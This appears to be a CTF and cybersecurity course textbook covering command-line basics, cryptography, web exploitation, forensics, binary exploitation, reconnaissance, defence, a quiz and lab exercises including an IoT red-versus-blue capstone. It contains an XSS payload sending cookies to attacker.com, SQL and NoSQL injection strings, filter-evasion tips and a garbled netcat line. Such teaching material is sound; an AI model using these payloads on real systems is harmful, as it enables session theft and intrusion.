The Comprehensive Guide to CTF Competitions

Academic Edition - Version 2.5
Author: Yau Ka Cheung
Date: February 10, 2026

Preface

In the rapidly evolving landscape of cybersecurity, theoretical knowledge is often insufficient. This guide is designed to bridge the gap between academic theory and practical application. By following the "Theory to Lab" methodology, students will not only understand the *how* but the *why* behind modern attack and defense vectors.

This textbook serves as the primary curriculum for the **Cyber Hacking Mastery Course**, culminating in the **IoT Red vs Blue Capstone Project**.

Table of Contents

Chapter 1: Introduction to CTFs & Ethics

Core Concepts & Definitions

Capture The Flag (CTF) competitions are cybersecurity exercises where participants solve challenges to find a "flag" (a secret string). They mimic real-world security scenarios in a safe, gamified environment.

CTF Formats

1. **Jeopardy:** Challenges are categorized (Web, Crypto, Pwn, etc.) with increasing point values. Solved independently.
2. **Attack-Defense:** Each team has a server to defend while attacking others. Focuses on patching and real-time response.

Key Terminology:

- **Flag:** The target string (e.g., CTF{w3lc0m3_h4ck3r}).
- **Shell:** A command-line interface to interact with an OS.
- **Root/Admin:** The superuser account with full system privileges.
- **Exploit:** Code or technique that takes advantage of a vulnerability.

Level 1: Fundamentals

Goal: Understand the environment and navigate the command line.

1.1 The Command Line Interface (CLI)

Hacking is rarely done with a mouse. You must master the keyboard.

Essential Navigation:

- pwd (Print Working Directory): "Where am I?"
- ls -la: "What files are here?" (Includes hidden files starting with .).
- cd ..: Go up one directory.
- cat [file]: Display file content.

Powerful CLI Concepts:

- **Redirection (>, >>):**
    - echo "hello" > file.txt (Overwrite/Create).
    - echo "world" >> file.txt (Append).
- **Piping (|):** Send the output of one command as input to another.
    - cat access.log | grep "admin" (Search for 'admin' inside the log).

1.2 Ethics: The Golden Rules

1. **Ownership:** Do not hack what you do not own.
2. **Permission:** Written consent is mandatory for testing others' systems.
3. **Privacy:** Respect the data you encounter.

Practice 1.1: The Hidden File

Scenario: You have a folder challenge.

1. Open your terminal.
2. Navigate to the folder: cd challenge
3. List hidden: ls -la -> You see .flag.txt.
4. Read it: cat .flag.txt.

Level 2: Intermediate

Goal: Set up a hacking lab and connect to remote systems.

2.1 Virtualization

Never hack from your host OS. Use a **Virtual Machine (VM)** like Kali Linux.

- **Snapshotting:** Save the state of your VM before doing something dangerous. If you break it, just revert to the snapshot.

2.2 Remote Access (SSH)

Secure Shell (SSH) is the standard for encrypted remote login.

- **Syntax:** ssh user@ip_address
- **Pro Tip (Troubleshooting):**
    - If you get a "Host Key Verification Failed" error, it means the server's fingerprint changed. Use ssh-keygen -R [IP] to clear the old key.
    - Use -v for verbose output to debug connection issues.

Level 3: Advanced

Goal: Automate tasks and understand the legal nuances.

3.1 Scripting Basics

- **Variables in Bash:** NAME="Hacker"; echo $NAME
- **Conditionals:**

```
if [ -f "flag.txt" ]; then
  echo "Flag found!"
fi
```

3.2 Advanced Ethics: Disclosure

Bug Bounty Programs: Platforms like HackerOne or Bugcrowd provide a legal framework for reporting vulnerabilities in exchange for rewards. Always stick to the **Scope** defined in the program.

Chapter 2: Cryptography

Core Concepts & Definitions

Cryptography is the science of secure communication. In CTFs, you are often the *cryptanalyst*, trying to break the code.

Key Terminology:

- **Plaintext:** The original message.
- **Ciphertext:** The scrambled message.
- **Encoding:** Changing data format (e.g., Base64). No key needed. **Encoding is NOT encryption.**
- **Hashing:** A one-way "fingerprint" of data.

Level 1: Fundamentals

1.1 Symmetric vs Asymmetric

- **Symmetric:** One key to rule them all. The same key is used for both encryption and decryption (e.g., AES, Caesar).
- **Asymmetric:** The Power of Pairs. Uses a Public key (to encrypt) and a Private key (to decrypt). (e.g., RSA).

1.2 Historical Ciphers

- **Caesar Cipher:** Shifts every letter by N.
- **ROT13:** A specific Caesar shift of 13.
- **Atbash:** A simple substitution cipher that reverses the alphabet.

1.3 Tools of the Trade

- **CyberChef:** The "Cyber Swiss Army Knife." Use it to chain encoding/decoding operations (e.g., "From Base64" -> "To Hex" -> "XOR").

Level 2: Intermediate

2.1 The Magic of XOR ($\oplus$)

- **Property:** A ^ B = C and C ^ B = A. This makes XOR its own inverse.
- **CTF Tip:** If you have the original file (plaintext) and the encrypted version, XORing them together reveals the **Key**.

2.2 Modern Symmetric: AES

Advanced Encryption Standard (AES).

- **Modes:**
    - **ECB (Electronic Codebook):** Weak. Each block is encrypted independently.
    - **CBC (Cipher Block Chaining):** Stronger. Each block is XORed with the previous ciphertext block.

Level 3: Advanced

3.1 RSA & Prime Factoring

RSA security relies on the difficulty of factoring large numbers into primes.

- **FactDB:** A public database of known prime factors.
- **RsaCtfTool:** An automated tool that tries dozens of known RSA attacks.

3.2 Hashing & Salts

Hashes (MD5, SHA256) are one-way. You can't "decrypt" them, you can only "crack" them by guessing.

- **Rainbow Tables:** Pre-computed tables of hashes.
- **Salts/Nonces:** Random data added to the password before hashing to resist rainbow table attacks.

Chapter 3: Web Exploitation

Core Concepts & Definitions

Web Exploitation involves finding and leveraging vulnerabilities in web applications to access unauthorized data or functionality.

Key Terminology:

- **Request/Response:** The standard "conversation" between Client (Browser) and Server.
- **Injection:** Inserting malicious data that the system interprets as commands.
- **Fuzzing:** Providing massive amounts of random data to find bugs.

Level 1: Fundamentals

1.1 Developer Tools & Source

- **Storage Tab:** View Session Cookies and LocalStorage.
- **Network Tab:** Watch the traffic. See POS/GET data in real-time.

1.2 Directory Brute Forcing (Fuzzing)

Websites often have "hidden" pages (e.g., /admin, /backup, /.git).

- **Tools:** gobuster, dirsearch, ffuf.
- **Status Codes:** 200 OK (Found), 403 Forbidden (Exists but blocked), 404 Not Found.

Level 2: Intermediate

2.1 Cross-Site Scripting (XSS)

- **Payload:** <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>
- **Impact:** Theft of session cookies leading to Account Takeover.

2.2 IDOR (Insecure Direct Object Reference)

- **Concept:** Accessing resources belonging to other users by changing a numerical ID in the URL (e.g., id=125 -> id=1).

Level 3: Advanced

3.1 Blind SQL Injection (Time-Based)

Used when the server doesn't return data directly.

- **Payload:** id=1; IF (1=1) WAITFOR DELAY '0:0:5'--

3.2 Command Injection (RCE)

- **Evasion:** Blocked ;? Use && or |. Blocked cat? Use tail or base64.

Chapter 4: Forensics

Core Concepts & Definitions

Digital Forensics is the investigation and recovery of digital material.

Key Terminology:

- **Header (Magic Bytes):** The unique signature at the start of a file (e.g., 89 50 4E 47 for PNG).
- **Steganography:** Hiding a secret inside another file.
- **LSB (Least Significant Bit):** Modifying the last bit of a pixel's color to hide data.

Level 1: Fundamentals

1.1 The file Command

Never trust a file extension. Use file [filename] to check the actual file type via magic bytes.

1.2 Text Extraction

- **Strings command:** strings [filename] extracts ASCII text.
- **Pro Tip:** Use -n 10 to reduce noise.

Level 2: Intermediate

2.1 Binwalk & Foremost

- **Binwalk:** Find and extract embedded files (binwalk -e).
- **Foremost:** Carves files based on headers and footers.

2.2 LSB Steganography

- **Tools:** StegSolve, zsteg. Hides data in the noise of an image.

Level 3: Advanced

3.1 Network Forensics (Wireshark)

Essential Filters: http, ip.addr == X.X.X.X, tcp.port == 4444, frame contains "CTF".

3.2 Memory Volatility

Tool: volatility. Analyzes RAM dumps to find processes, commands, and passwords.

Chapter 5: Reverse Engineering & Binary Exploitation

Core Concepts & Definitions

Reverse Engineering (RevEng) is deconstructing software. **Binary Exploitation (Pwn)** is manipulating execution flow.

Key Terminology:

- **Machine Code:** The 0s and 1s the CPU executes.
- **Assembly (ASM):** Human-readable mnemonics (e.g., MOV, ADD).
- **Decompiler:** Translates binary back into C code.

Level 1: Fundamentals

1.1 CPU Registers 101 (x86)

- **EAX:** Accumulator (Return values).
- **ESP/EBP:** Stack/Base Pointers.
- **EIP:** Instruction Pointer (The Next Command).

1.2 Basic Logic Patching

Flipping an if statement by swapping JZ (74) and JNZ (75).

Level 2: Intermediate

2.1 The Stack Frame

Every function call creates a frame. Local variables live inside; return addresses live just above. Overwriting the buffer can overwrite the return address.

2.2 Advanced Ghidra

- **Cross References (XREFS):** See every place a variable or function is used.

Level 3: Advanced

3.1 Exploiting the Stack (Pwn)

1. **Find Offset**: Number of bytes to reach EIP.
2. **Control EIP**: Jump to an arbitrary address.
3. **Payload (Shellcode)**: Spawn /bin/sh.

3.2 GDB & Pwntools

- **GDB-Peda**: Enhanced debugger UI.
- **Pwntools**: Python library for building exploits.

Chapter 6: Networking & Reconnaissance

Core Concepts & Definitions

Networking is communication; **Reconnaissance** is intelligence gathering.

Key Terminology:

- **WHOIS:** Domain registration details.
- **DNS:** Mapping names to IPs.

Level 1: Fundamentals

1.1 Passive Recon & OSINT

- **Google Dorking**: Searching for exposed listings.
- **Shodan**: Search engine for IoT devices.

1.2 DNS Investigation

- **Dig & NSLookup**: Checking A, MX, and TXT records.

Level 2: Intermediate

2.1 Nmap (The Network Mapper)

- -sS: SYN Scan (Stealth).
- -sV: Version detection.
- -sC: Default scripts.
- -A: Aggressive (All-in-one).

Level 3: Advanced

3.1 Netcat File Transfers

- Receiver: nc -l -p 1234 > file.zip
- Sender: nc [IP] 1234 < file [IP] 1234 < file.zip

3.2 The Reverse Shell

- Spawns a shell that connects back to the attacker.
- **Upgrade**: Using pty.spawn in Python for an interactive terminal.

Chapter 7: Cyber Security Basics

Core Concepts & Definitions

Cyber Security is the practice of protecting systems, networks, and programs from digital attacks. These cyberattacks are usually aimed at accessing, changing, or destroying sensitive information; extorting money from users; or interrupting normal business processes.

Chapter 7.1: Cyber Crime

Cybercrime is increasing because it is easy, low-risk, and often high-reward. There are various types of cybercriminals:

- **Script Kiddies**: Use existing tools without understanding them deeply.
- **Hactivists**: Motivated by political or social causes.
- **State-Sponsored Actors**: Backed by governments for espionage or disruption.
- **Cyber Mercenaries**: Professionals for hire.

Chapter 7.2: Money Making Threats

Many attacks are driven by financial gain.

- **Ransomware**: Encrypts files and demands payment for the decryption key.
- **Business Email Compromise (BEC)**: Fraudulent emails targeting business payments.
- **Extortion**: Threatening to release sensitive data unless a ransom is paid.

Chapter 7.3: The Dark Web

The Dark Web is a part of the internet that isn't indexed by search engines and requires specific software, like the Tor Browser, to access. While it's used for legitimate privacy reasons, it's also a marketplace for stolen data, malware, and illegal services.

Chapter 8: Networking Foundations

Core Concepts & Definitions

Understanding how data moves is critical for both attack and defense.

Chapter 8.1: OSI Model & Protocols

The OSI (Open Systems Interconnection) model defines seven layers of networking:

- **Layer 7: Application** (HTTP, FTP, DNS)
- **Layer 4: Transport** (TCP, UDP)
- **Layer 3: Network** (IP, ICMP)
- **Layer 2: Data Link** (Ethernet, ARP)

Chapter 8.2: The Network Layer

Focuses on IP addressing and routing.

- **IPv4 vs IPv6**: The transition to a larger address space.
- **NAT (Network Address Translation)**: Allowing multiple devices to share one public IP.
- **VPN (Virtual Private Network)**: Creating an encrypted tunnel over public networks.

Chapter 8.3: Firewalls & Segmentation

- **Stateless vs. Stateful Firewalls**: Tracking the state of connections.
- **Next-Generation Firewalls (NGFW)**: Inspecting payload data at the Application layer.
- **IPS/IDS**: Detecting and preventing intrusions.

Chapter 8.4: Web Applications Fundamentals

Web apps use the **HTTP** protocol.

- **Verbs**: GET (Retrieve), POST (Submit), PUT (Update), DELETE.
- **Status Codes**: 200 (OK), 404 (Not Found), 500 (Server Error).
- **Cookies**: Used for session management and tracking state.

Chapter 9: Cyber Attack Vectors

Core Concepts & Definitions

Attackers use various methods to gain unauthorized access.

Chapter 9.1: Network Mapping & Port Scanning

Nmap is the industry-standard tool for discovery.

- **SYN Scan (-sS)**: Stealthy scan that doesn't complete the 3-way handshake.
- **Service Enumeration (-sV)**: Identifying the version of running services.

Chapter 9.2: Web Application Attacks

- **SQL Injection (SQLi)**: Manipulating database queries via unsanitized input.
- **Cross-Site Scripting (XSS)**: Injecting malicious scripts into web pages viewed by other users.
- **IDOR**: Accessing resources by manipulating object identifiers.

Chapter 9.3: Wi-Fi Attacks

- **WPA Cracking**: Attempting to brute-force the "Pre-Shared Key" (PSK).

Practice 9.1: IoT Reconnaissance

Scenario: An unknown IoT device is active on your local network (localhost:3000).

1. **Scan**: Use nmap -sV -p 3000 localhost to identify the service.
2. **Fingerprint**: Can you determine if it's a web server or a custom protocol?
3. **Analyze**: Look for the /api/readings endpoint. What format is the data in?

Practice 9.2: NoSQL Injection

Scenario: Use the IoT Red vs Blue project to find a hidden device.

1. **Target**: Use curl "http://localhost:3000/api/readings?deviceId\[\$ne\]=test"
2. **Observation**: Does the server return all device readings or just the one with the hidden ID?
3. **Mitigation**: Research how to use the Joi library to validate that deviceId is a string, not an object.

Chapter 10: Cyber Defence & Operations

Core Concepts & Definitions

Defense involves monitoring, detecting, and responding to threats.

Chapter 10.1: Security Operations (SOC)

Individual alerts are monitored in a **SOC (Security Operations Center)**.

- **SIEM**: Security Information Event Management system for log correlation.
- **SOAR**: Automation tools used to respond to threats at scale.

Chapter 10.2: Incident Response (PICERL)

The methodology for handling a breach:

1. **Preparation**: Training and tools.
2. **Identification**: Detecting the incident.
3. **Containment**: Stopping the spread.
4. **Eradication**: Removing the threat.
5. **Recovery**: Restoring services.
6. **Lessons Learned**: Improving for the future.

Practice 10.1: Live Dashboard Monitoring

Scenario: You are the Blue Team analyst for a smart city project.

1. **Launch**: Start the IoT Red vs Blue dashboard at http://localhost:3001.
2. **Simulate**: Use node malicious_node.js from the project simulator to launch an attack.
3. **Detect**: Can you see the spike in traffic on the real-time chart?
4. **Respond**: Use the dashboard's "Isolation" feature to block the malicious node's IP.

Chapter 11: Comprehensive Assessment

Cyber Security Quiz

Test your knowledge with these foundational questions.

1. **Which 3 levels in OSI Model are usually implemented in the software within the operating system?**
    - [ ] Data Link, Transport, Application

- [ ] Transport, Session, Presentation
- [ ] Application, Presentation, Session

2. **Which of these protocols reside in Layer 3 - Network in the OSI Model?**

    - [ ] TCP and IPSec
    - [ ] IP and TCP
    - [ ] IP and IPSec

3. **A netmask can be represented by which two ways?**

    - [ ] Decimal Numbers (255.255.255.0) and Slash Notation (/32)
    - [ ] Pound Notation (#24) and Decimal Numbers (255.255.255.0)
    - [ ] Slash Notation (/32) and Pound Notation (#24)

4. **Which is the broadcast address in this network: 172.16.24.0/24**

    - [ ] 172.16.24.1
    - [ ] 172.16.24.0
    - [ ] 172.16.24.255

5. **Which one of these is a RFC 1918 ip address?**

    - [ ] 9.0.0.1
    - [ ] 172.16.1.30
    - [ ] 173.17.1.30

6. **Shortening an IPv6 address means:**

    - [ ] Converting 8 groups of 4 hexadecimal numbers into a valid IPv4 address
    - [ ] Removing unused groups of hexadecimal numbers
    - [ ] Removing a group of only 0's

7. **What is spoofing?**

    - [ ] A way of terminating a 3-way handshake connection
    - [ ] A way server hides from attacks, a defensive mechanics
    - [ ] Falsifying data, making something appear different than they really are

8. **What is Zero-Trust architecture?**

    - [ ] A network where only some resources/devices are trusted
    - [ ] A network where we do not trust public network(internet), but we trust local network
    - [ ] A network where all systems/resources need explicit access to be able to communicate

9. **You need an IDS (Intrusion Detection System) in addition to IPS (Intrusion Prevention System) to be able to both detect and prevent access.**

    - [ ] True
    - [ ] False. IPS is also able to detect if positioned correctly in the network

10. **To be able to detect and block specific file types/documents from being downloaded from the internet with a firewall, you need:**

    - [ ] A Next-Generation Firewall with layer 7 features
    - [ ] A Next-Generation Firewall with layer 6 features
    - [ ] A Next-Generation Firewall with phaser features

11. **A cookie can not be used to control a users session/state.**

    - [ ] True, only supercookies have this feature
    - [ ] False. Cookies are often used for tracking sessions

12. **Which types of packets can be used to determine if a system is alive on the network?**

    - [ ] ICMP Echo Request, ICMP Timestamp Request, TCP SYN, TCP ACK
    - [ ] ICMP Echo Request, TCP SYN, SW-1TCH, ICMP Timestamp Request
    - [ ] ICMP handshake Request, TCP ACK, NMAP

13. **ARP Scanning can only be used to identify hosts/systems on the LAN.**

    - [ ] True
    - [ ] False

14. **NMAP Timing options (-T) can be used to avoid detection by:**

    - [ ] Limiting the speed of how fast hosts are scanned
    - [ ] Timing options are used to time a scan to CPU clocks
    - [ ] Choosing when to scan (e.g., only scan during the night)

15. **What is a strobe of data?**

    - [ ] A sudden increase of traffic in the network
    - [ ] Small amount of traffic trying to hide from detection

16. **What is IDOR?**

    - [ ] Insecure Door or Room
    - [ ] Insecure Direct Object Reference
    - [ ] Invalid Data or Reference

17. **What is SQL injection?**

    - [ ] It is used in Buffer Overflow attacks to overwrite memory
    - [ ] It is used to inject malicious code to a database server through a query
    - [ ] It is used to spoof or inject false headers in a HTTP request

18. **What is best practice in defending against SQL injection?**

    - [ ] Blocking specific ports that SQL injections are usually attacked via
    - [ ] Sanitizing users input in a web application
    - [ ] Programmers will not make web applications that allow user input

19. **What is CSP - Content Security Policy?**

    - [ ] TLS encryption between server and client
    - [ ] A strict way of sanitizing user input on a website
    - [ ] A strict way of controlling where javascript is allowed to be executed from

20. **Which order of security protocols is correct, going from least to most secure?**

    - [ ] WEP, WPA, WPA2, WPA3
    - [ ] WPA, WPA2, WPA3, WEP
    - [ ] WPA, WEP, WPA2, WPA3

21. **Using the same strong password with high entropy on multiple sites is good practice.**

    - [ ] True
    - [ ] False. If one site is breached, your password is now in hackers' hands

22. **SIEM is commonly used to:**

    - [ ] Secure servers hosted in the cloud
    - [ ] Perform real-time analysis of security alerts generated by applications, hosts, and network hardware
    - [ ] Preventively block attacks against networks

23. **Classifications of incidents should generally be according to:**

    - [ ] Category, sensitivity, criticality, SLA, contact channel
    - [ ] Category, sensitivity, criticality, SLA
    - [ ] Category, sensitivity, criticality

24. **The 6 stages of PICERL are:**

    - [ ] Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned
    - [ ] Preparation, Identification, Containment, Eradication, Recovery, Payment
    - [ ] Preparation, Identification, Containment, Eradication, Recovery, Vacation

25. **In which phase of PICERL is blocking attackers usually done?**

    - [ ] Identification
    - [ ] Containment
    - [ ] Preparation
    - [ ] Eradication

Chapter 12: Cyber Security Field Manual - Laboratory Exercises

01. Cryptography

- **Lab**: Multi-stage decoding.
- **Challenge**: Decode U0dWc2JHOGdWMm95YkdRPQ==.
- **Assessment**: Why is "Double Base64" not more secure?

🌐 02. Web Exploitation

- **Lab**: XSS cookie theft.
- **Checklist**: Parameter fuzzing for debug modes.
- **Assessment**: Does HTTPS prevent SQLi?

03. Forensics

- **Lab**: Hex-level image repair.
- **Checklist**: Changing Magic Bytes to fix "corrupt" files.

⚙ 04. RevEng & Pwn

- **Lab**: Local Buffer Overflow.
- **Checklist**: Calculating offset to overwrite the return address.

---

05. IoT Red vs Blue Capstone Project

Goal: Deploy, attack, and defend a simulated IoT ecosystem.

Prerequisites

- Node.js & MongoDB installed locally.
- Access to the [IoT Red vs Blue] (file:///Users/yoga/Documents/WorkDesk/CyberHack/projects/IoT_Red_Blue) project directory.

Project Roadmap

1. **Phase A: Traffic Spoofing**: Intercept sensor data and inject false readings.
2. **Phase B: NoSQL Injection**: Exploit the API lookup to bypass authentication.
3. **Phase C: Brute Force**: Attack the admin login panel.
4. **Phase D: Denial of Service**: Flood the API with requests to disrupt service.
5. **Phase E: Blue Team Response**: Use the interactive dashboard to detect and mitigate attacks.
6. **Phase F: Customization**: Extend the environment with new sensors and logic.

Deliverable: A final report summarizing the impact of each attack and the effectiveness of the implemented defenses.

Chapter 13: Glossary & References

- **CFAA**: Computer Fraud and Abuse Act (US).
- **CVE**: Common Vulnerabilities and Exposures.
- **OWASP**: Open Web Application Security Project.
- **RFC**: Request for Comments (Internet standards).

End of Textbook